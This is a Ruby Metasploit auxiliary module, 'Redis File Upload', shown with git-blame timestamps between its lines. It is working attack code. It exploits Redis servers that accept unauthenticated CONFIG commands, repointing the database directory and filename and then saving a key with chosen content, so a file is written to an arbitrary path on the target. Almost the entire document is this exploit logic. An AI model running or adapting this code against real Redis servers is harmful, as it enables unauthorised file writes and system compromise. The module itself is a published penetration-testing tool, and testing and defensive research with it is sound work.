2015-12-06 06:11:11 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2015-12-10 01:59:48 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2015-12-10 16:29:59 +00:00
|
|
|
include Msf::Auxiliary::Redis
|
2015-12-06 06:11:11 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2015-12-10 01:59:48 +00:00
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
2015-12-11 16:42:59 +00:00
|
|
|
'Name' => 'Redis File Upload',
|
2015-12-10 01:59:48 +00:00
|
|
|
'Description' => %q(
|
2015-12-11 16:42:59 +00:00
|
|
|
This module can be used to leverage functionality exposed by Redis to
|
|
|
|
achieve somewhat arbitrary file upload to a file and directory to
|
|
|
|
which the user account running the redis instance has access. It is
|
|
|
|
not totally arbitrary because the exact contents of the file cannot
|
2015-12-16 19:07:27 +00:00
|
|
|
be completely controlled given the nature of how Redis stores its
|
|
|
|
database on disk.
|
2015-12-10 01:59:48 +00:00
|
|
|
),
|
|
|
|
'License' => MSF_LICENSE,
|
2015-12-10 17:35:46 +00:00
|
|
|
'Author' => [
|
|
|
|
'Nixawk', # original metasploit module
|
|
|
|
'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module
|
|
|
|
],
|
2015-12-10 01:59:48 +00:00
|
|
|
'References' => [
|
|
|
|
['URL', 'http://antirez.com/news/96'],
|
|
|
|
['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'],
|
|
|
|
['URL', 'http://redis.io/topics/protocol']
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => 'Nov 11 2015'
|
|
|
|
)
|
|
|
|
)
|
2015-12-11 16:42:59 +00:00
|
|
|
|
2015-12-06 06:11:11 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2015-12-10 16:29:59 +00:00
|
|
|
OptPath.new('LocalFile', [false, 'Local file to be uploaded']),
|
2015-12-16 04:28:52 +00:00
|
|
|
OptString.new('RemoteFile', [false, 'Remote file path']),
|
2015-12-16 19:07:27 +00:00
|
|
|
OptBool.new('DISABLE_RDBCOMPRESSION', [true, 'Disable compression when saving if found to be enabled', true])
|
2015-12-10 01:59:48 +00:00
|
|
|
]
|
|
|
|
)
|
2015-12-06 06:11:11 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def send_file(path, content)
|
2015-12-10 17:13:13 +00:00
|
|
|
# XXX: refactor this to handle redis errors or exceptions in a cleaner manner
|
|
|
|
|
2015-12-06 06:11:11 +00:00
|
|
|
dirname = File.dirname(path)
|
|
|
|
basename = File.basename(path)
|
|
|
|
|
2015-12-10 16:56:24 +00:00
|
|
|
# Get the currently configured dir and dbfilename before we overwrite them;
|
|
|
|
# we should set them back to their original values after we are done.
|
|
|
|
# XXX: this is a hack -- we should really parse the responses more correctly
|
2015-12-11 18:04:47 +00:00
|
|
|
original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last
|
|
|
|
original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last
|
2015-12-16 19:20:13 +00:00
|
|
|
if datastore['DISABLE_RDBCOMPRESSION']
|
|
|
|
original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last
|
|
|
|
end
|
2015-12-10 16:56:24 +00:00
|
|
|
|
2015-12-10 17:13:13 +00:00
|
|
|
# set the directory which stores the current redis local store
|
2015-12-11 18:04:47 +00:00
|
|
|
data = redis_command('CONFIG', 'SET', 'dir', dirname)
|
2015-12-06 06:11:11 +00:00
|
|
|
return unless data.include?('+OK')
|
|
|
|
|
2015-12-10 17:13:13 +00:00
|
|
|
# set the file name, relative to the above directory name, that is the redis local store
|
2015-12-11 18:04:47 +00:00
|
|
|
data = redis_command('CONFIG', 'SET', 'dbfilename', basename)
|
2015-12-06 06:11:11 +00:00
|
|
|
return unless data.include?('+OK')
|
|
|
|
|
2015-12-16 04:28:52 +00:00
|
|
|
# Compression string objects using LZF when dump .rdb databases ?
|
|
|
|
# For default that's set to 'yes' as it's almost always a win.
|
|
|
|
# If you want to save some CPU in the saving child set it to 'no' but
|
|
|
|
# the dataset will likely be bigger if you have compressible values or
|
|
|
|
# keys.
|
|
|
|
if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES'
|
|
|
|
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no')
|
2015-12-16 19:20:13 +00:00
|
|
|
if data.include?('+OK')
|
|
|
|
reset_rdbcompression = true
|
|
|
|
else
|
|
|
|
print_error("#{peer} -- Unable to disable rdbcompresssion")
|
|
|
|
reset_rdbcompression = false
|
|
|
|
end
|
2015-12-16 04:28:52 +00:00
|
|
|
end
|
|
|
|
|
2015-12-10 17:13:13 +00:00
|
|
|
# set a key in this db that contains our content
|
2015-12-10 17:35:46 +00:00
|
|
|
# XXX: this does not work well (at all) if the content we are uploading is
|
|
|
|
# multiline. It also probably doesn't work well if the content isn't
|
|
|
|
# simple ASCII text
|
2015-12-10 16:29:59 +00:00
|
|
|
key = Rex::Text.rand_text_alpha(32)
|
2015-12-11 18:04:47 +00:00
|
|
|
data = redis_command('SET', key, content)
|
2015-12-06 06:11:11 +00:00
|
|
|
return unless data.include?('+OK')
|
2015-12-11 18:04:47 +00:00
|
|
|
data = redis_command('SAVE')
|
2015-12-16 04:28:52 +00:00
|
|
|
|
2015-12-14 18:47:05 +00:00
|
|
|
if data.include?('+OK')
|
|
|
|
print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}")
|
|
|
|
else
|
|
|
|
print_error("#{peer} -- failed to save #{content.size} bytes to #{path} (permissions?)")
|
|
|
|
return
|
|
|
|
end
|
2015-12-06 06:11:11 +00:00
|
|
|
|
2015-12-10 16:56:24 +00:00
|
|
|
# cleanup
|
|
|
|
# XXX: ensure that these get sent if we prematurely return if a previous command fails
|
2015-12-11 18:04:47 +00:00
|
|
|
redis_command('CONFIG', 'SET', 'dir', original_dir)
|
|
|
|
redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename)
|
2015-12-16 19:20:13 +00:00
|
|
|
if datastore['DISABLE_RDBCOMPRESSION'] && reset_rdbcompression
|
|
|
|
redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression)
|
|
|
|
end
|
2015-12-11 18:04:47 +00:00
|
|
|
redis_command('DEL', key)
|
|
|
|
redis_command('SAVE')
|
2015-12-06 06:11:11 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2015-12-11 18:04:47 +00:00
|
|
|
# they are only vulnerable if we can run the CONFIG command, so try that
|
|
|
|
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
|
|
|
|
|
|
|
|
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
|
2015-12-10 02:33:40 +00:00
|
|
|
report_redis(redis_version)
|
2015-12-06 06:11:11 +00:00
|
|
|
end
|
2015-12-11 18:04:47 +00:00
|
|
|
|
|
|
|
Exploit::CheckCode::Vulnerable
|
|
|
|
ensure
|
|
|
|
disconnect
|
2015-12-06 06:11:11 +00:00
|
|
|
end
|
|
|
|
|
2015-12-10 01:59:48 +00:00
|
|
|
def setup
|
2015-12-10 17:35:46 +00:00
|
|
|
# this is the content we will upload if not running 'check'. We are
|
|
|
|
# setting a key/value pair in the database to something such that when the
|
|
|
|
# redis db is saved, the contents of what we are uploading will appear
|
|
|
|
# intact in the middle of the db itself. The hope is that something
|
|
|
|
# interpretting this file will ignore or be OK-enough with the rest of the
|
|
|
|
# file such that what we uploaded will be interpretted as if it contained
|
|
|
|
# only the contents of what we uploaded. For example, here is a nearly
|
|
|
|
# empty redis database that started with a single key (foo) value (bar)
|
2015-12-11 18:10:44 +00:00
|
|
|
# pair, and the contents of what we uploaded was the current date:
|
2015-12-10 17:35:46 +00:00
|
|
|
#
|
|
|
|
# 00000000 52 45 44 49 53 30 30 30 31 fe 00 00 03 66 6f 6f |REDIS0001....foo|
|
|
|
|
# 00000010 03 62 61 72 00 20 6a 6b 59 47 44 74 56 6a 68 53 |.bar. jkYGDtVjhS|
|
|
|
|
# 00000020 6e 57 4f 78 76 58 72 73 6a 71 58 4f 43 52 43 6c |nWOxvXrsjqXOCRCl|
|
|
|
|
# 00000030 66 4b 6a 54 73 47 1e 0a 54 68 75 20 44 65 63 20 |fKjTsG..Thu Dec |
|
|
|
|
# 00000040 31 30 20 30 39 3a 30 35 3a 32 39 20 50 53 54 20 |10 09:05:29 PST |
|
|
|
|
# 00000050 32 30 31 35 0a ff
|
|
|
|
#
|
|
|
|
# as you can see, the current date exists on its own on a separate line
|
|
|
|
@upload_content = "\n#{IO.read(datastore['LocalFile']).strip}\n" if datastore['LocalFile']
|
2015-12-10 01:59:48 +00:00
|
|
|
end
|
2015-12-06 06:11:11 +00:00
|
|
|
|
2015-12-10 02:33:40 +00:00
|
|
|
def run_host(_ip)
|
2015-12-10 16:29:59 +00:00
|
|
|
fail_with(Failure::BadConfig, "LocalFile must be set") unless datastore['LocalFile']
|
|
|
|
fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile']
|
2015-12-10 02:33:40 +00:00
|
|
|
return unless check == Exploit::CheckCode::Vulnerable
|
|
|
|
|
2015-12-11 18:04:47 +00:00
|
|
|
begin
|
|
|
|
connect
|
2015-12-10 01:59:48 +00:00
|
|
|
send_file(datastore['RemoteFile'], @upload_content)
|
2015-12-11 18:04:47 +00:00
|
|
|
ensure
|
|
|
|
disconnect
|
2015-12-06 06:11:11 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|